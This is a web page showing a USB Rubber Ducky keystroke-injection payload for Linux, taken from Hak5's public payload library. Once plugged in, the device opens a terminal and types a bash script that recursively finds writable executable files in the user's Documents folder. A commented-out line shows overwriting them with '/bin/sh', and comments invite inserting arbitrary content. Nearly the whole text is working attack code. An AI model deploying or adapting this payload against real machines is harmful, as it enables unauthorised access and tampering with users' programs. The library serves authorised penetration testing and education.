Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/ExploitingAnExecutableFile/payload.txt
3018 views
1
2
REM ################################################
3
REM # |
4
REM # Title : Exploiting An Executable File |
5
REM # Author : Aleff |
6
REM # Version : 1.0 |
7
REM # Category : Execution |
8
REM # Target : Linux |
9
REM # |
10
REM ################################################
11
12
REM Requirements:
13
REM - Nothing, it is Plug-And-Play but you can change it as you want.
14
15
DELAY 1000
16
CTRL-ALT t
17
DELAY 2000
18
19
20
REM #### Script ####
21
22
23
STRINGLN
24
function search_file {
25
for file in "$1"/*; do
26
if [[ -d "$file" ]]; then
27
search_file "$file";
28
elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
29
echo "File Found: $file";
30
# You can put whatever you want into the executable file
31
# echo "/bin/sh" > "$file"
32
fi
33
done
34
}
35
USER=$(whoami);
36
# You can choose whatever folder you want, the script is recursive.
37
DIR=/home/$USER/Documents;
38
search_file "$DIR";
39
END_STRING
40
ENTER
41